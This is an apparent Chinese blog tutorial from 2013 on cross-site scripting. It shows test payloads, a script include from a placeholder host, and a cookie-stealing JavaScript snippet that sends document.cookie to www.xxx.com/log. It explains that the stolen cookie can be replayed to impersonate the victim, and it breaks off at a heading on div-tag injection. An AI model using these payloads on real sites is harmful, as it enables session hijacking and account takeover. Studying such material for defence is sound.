XSS跨站脚本攻击

2013-11-11, 21:50 - admin

xss跨站脚本攻击和sql注入攻击行为类似，利用系统执行了未经过滤的危险代码，xss是基于网页脚本的注入，将脚本攻击载荷写入网页，然而用户访问网页客户端跳转某一脚本。sql注入攻击将危险代码绕过正常的文本输入变为可执行的SQL执行语句，从而达到操纵数据库的目的。（ps：想想用数据库+插一句话是怎么利用的？）

1、常见的xss bug检测语句：<script>alert(/xss/)</script>

比如存在xss bug的留言板上写上<script>alert(/xss/)</script>，当访问留言板网页时会弹出对话框，这说明植入的语句被运行了，现在就有机会执行我们的脚本攻击载荷。

<script src = http://www.xxx.com/xssbug.js></script>

xssbug.js代码可以是:

Var img = document.createElement(“img”);
Img.src = “http://www.xxx.com/log?”+escape(document.cookie);
document.body.appendChild(img);

若如上代码顺利执行,则被攻击者登录目标网站的cookie就写进了log.然后进行浏览器重新发包就可以以被攻击者身份登录目标网站。也可将窃取cookie的代码换成能下载地址就，这样下载者下载到存在下载者攻击漏洞的用户电脑上。也可将换成目标用户在网站上的某些操作的，如数据包脚本，促使在不知情的情况下”自愿”进行某些操作。

2、通过img图片标记属性跨站

也可以用上面在留言板插<img src=”javacript:alert(/xss/)”></img>，用户上传图片时将图片路径修改为一段可执行的xss测试脚本，若存在xss漏洞脚本就会被执行，这类脚本要闭合双引号”>”等。

利用div标签属性跨站